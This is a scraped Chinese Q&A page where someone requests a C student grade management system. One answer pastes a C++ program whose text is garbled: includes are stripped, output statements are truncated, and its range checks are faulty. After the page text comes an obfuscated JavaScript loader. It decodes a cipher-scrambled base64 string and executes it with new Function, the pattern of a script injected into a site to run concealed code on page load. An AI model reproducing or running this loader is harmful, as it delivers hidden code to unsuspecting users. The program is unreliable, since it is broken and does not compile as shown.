要求用c语言编程序,学生成绩管理系统,求高!

2025-03-15 16:39:10
推荐回答(2个)
回答1:

我刚好有一个,我懒得写了,传个给你改改!~
#include
#include
#include
#include
//using namespace std;
struct student
{
char name[10];
int num;
int age;
int yuwen;
int shuxue;
int total;
};

int i,n;
student stu[50];
void get_date()
{
//student stu[50];
ofstream outfile("F1.dat",ios::out);
if(!outfile)
{
cerr<<"open error!"< exit(1);
}

cout<<"__________________________________________________________________________"< cout<<"| 姓名 | 学号 | 年龄 | 语文成绩 | 数学成绩 |请输入0结束:"< cout<
for(i=0;i<50;i++)
{
cin>>stu[i].name;
if (stu[i].name[0]=='0') break;
else
{
cin>>stu[i].num>>stu[i].age;
if(stu[i].age<0&&stu[i].age>110)
{
cout<<"输入错误,请重新输入年龄:"< // cin>>stu[i].age;
}
cin>>stu[i].yuwen;
if(stu[i].yuwen<0&&stu[i].yuwen>100)
{
cout<<"输入分数错误,请重新输入:"< cin>>stu[i].yuwen;
}

cin>>stu[i].shuxue;
if(stu[i].shuxue<0&&stu[i].shuxue>100)
{
cout<<"输入分数错误,请重新输入:"< cin>>stu[i].shuxue;
}
n+=1; //加一个,保存一个
outfile< }

}
outfile.close();

}

void set_out()
{
//int n=0;

ifstream infile("F1.dat",ios::in|ios::nocreate);
if(!infile)
{
cerr<<"open error!";
exit(1);
}

cout< cout<<"这"< for(i=0;i {
stu[i].total=stu[i].yuwen+stu[i].shuxue;
//int n=0;
infile>>stu[i].name>>stu[i].num>>stu[i].age>>stu[i].yuwen>>stu[i].shuxue;
//n++;
}

cout<<"_________________________________________________________________________"< cout<<"| 姓名 | 学号 | 年龄 | 语文成绩 | 数学成绩 | 总分 |"< for(i=0;i {
cout<<"|__________|___________|____________|____________|____________|____________|"<
cout<<"|"< cout< < cout< //cout<<"---------------------------------------------"< }
cout<<"|__________|___________|____________|____________|____________|____________|"< infile.close();

}

void paixu()
{int max,order;

ifstream infile("F1.dat",ios::in|ios::nocreate);
if(!infile)
{
cerr<<"open error!";
exit(1);
}

int i;
max=stu[0].total;
order=0;
for(i=0;iif(stu[i].total>max)
{max=stu[i].total;
order=i;
}
/*for(int k=0; k<=n;k++)
{//stu[k].total=stu[k].yuwen+stu[k].shuxue;
max=k;
for(int j=k+1; jif(stu[max].totaltemp=stu[k].total;
stu[k].total=stu[max].total;
stu[max].total=temp;
}*/
//for(k=1;k<=10;k++)
//{cout<cout<<" 本 班 最 高 分"<cout<<"_____________________________________________________________________________________ "< cout<<"| 姓名 | 学号 | 年龄 | 语文成绩 | 数学成绩 | 总分 |"< //for(i=0;i {
cout<<"|__________|___________|____________|____________|____________|____________|"<
cout<<"|"< cout< < cout< //cout<<"---------------------------------------------"< }
cout<<"|__________|___________|____________|____________|____________|____________|"< infile.close();

}

void search_date()
{
ofstream outfile("F1.dat",ios::app);
outfile.close();
ifstream infile("F1.dat",ios::in|ios::nocreate);

if(!infile)
{
cerr<<"open error!";
exit(1);
}
for(i=0;i<50;i++)
{
infile>>stu[i].name>>stu[i].num>>stu[i].age>>stu[i].yuwen>>stu[i].shuxue;
}
int number;
cout< cout<<"请输入你要查找的学号:"<<'\n';
cin>>number;
for(i=0;i {
if(stu[i].num==number)
{
cout<<"已经找到,该学生的数据是:"< cout<<"____________________________________________________________________________"< cout<<"| 姓名 | 学号 | 年龄 | 语文成绩 | 数学成绩 | 总分 | "< cout<<"|__________|___________|____________|____________|_____________|____________|"< cout<<"|"< cout< < cout<<"|__________|___________|____________|____________|____________|____________|"< //cout< break;
}
else
{ cout<<"没有你要查找的信息,还想找,请重新输入学号!"< cin>>number;
//for(i=;i if(stu[i].num==number)
{cout<<"已经找到,该学生的数据是:"< cout<<"__________________________________________________________________________"< cout<<"| 姓名 | 学号 | 年龄 | 语文成绩 | 数学成绩 | 总分 |"< cout<<"|__________|___________|____________|____________|____________|____________|"< cout<<"|"< cout< < cout<<"|__________|___________|____________|____________|____________|____________|"< //cout< break;
}

}

}
infile.close();

}

void shanchu()
{ifstream infile("F1.dat",ios::in|ios::nocreate);
if(!infile)
{
cerr<<"open error!";
exit(1);
}

cout<char o;
int number;
cout<<"请输入你想删除的学生学号:";
cin>>number;
for (i=0;i{if(stu[i].num==number)
{cout<<"您确定要删除"<cin>>o;
if(o=='K')
for(i;i{
strcpy(stu[i].name,stu[i+1].name);
stu[i].num=stu[i+1].num;
stu[i].age=stu[i+1].age;
stu[i].yuwen=stu[i+1].yuwen;
stu[i].shuxue=stu[i+1].shuxue;
//stu[i].total=stu[i+1].total;
}
n--;
cout<<"_________________________________________________________________________ "<cout<<"| 姓名 | 学号 | 年龄 | 语文成绩 | 数学成绩 | 总分 |"<for(i=0;i{
cout<<"|__________|___________|____________|____________|____________|____________|"<
cout<<"|"< cout< < cout< //cout<<"---------------------------------------------"<}
cout<<"|__________|___________|____________|____________|____________|____________|"<}
}
infile.close();

}

//void increase_date()
//{
// ofstream outfile("")
void ShowMenu()
{
cout<<"〓〓〓〓〓〓〓〓〓〓 ☆ 学 生 成 绩 管 理 系 统 ☆ 〓〓〓〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓★★★★★ ★★★★★★★ ★★★★★〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 1.增加学生成绩 ☆ ★〓〓〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 2.显示学生成绩 ☆ ★〓〓〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 3.统计最高成绩 ☆ ★〓〓〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 4.查找学生成绩 ☆ ★〓〓〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 5.删除学生成绩 ☆ ★〓〓〓〓〓〓〓〓〓"< cout<<"〓〓〓〓〓〓〓〓〓★ ☆ 0.安全退出系统 ☆ ★〓〓〓〓〓〓〓〓〓"<
cout<<"\n\t\t\n\t\t请选择:";
}

int main()
{ int x;
char c='n';
bool quit=false;
cout<<"欢迎你使用学生成绩管理系统"<cout<cout<cout<<"________________________________________________________________________________"<//for (;c!='y';){system("cls");
while (!quit)
{ShowMenu();
cin>>x;

switch(x)
{
case 0:quit=true;break;
case 1:get_date();;break;
case 2:set_out();break;
case 3:paixu();break;
case 4:search_date();break;
case 5:shanchu();break;}
//case 6:Grade.ModifyItem();break;
//cout<<"真的想要退出吗? (y/n)";
//cin>>c;}
}
return 0;}

回答2:

你自己写的就可以

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();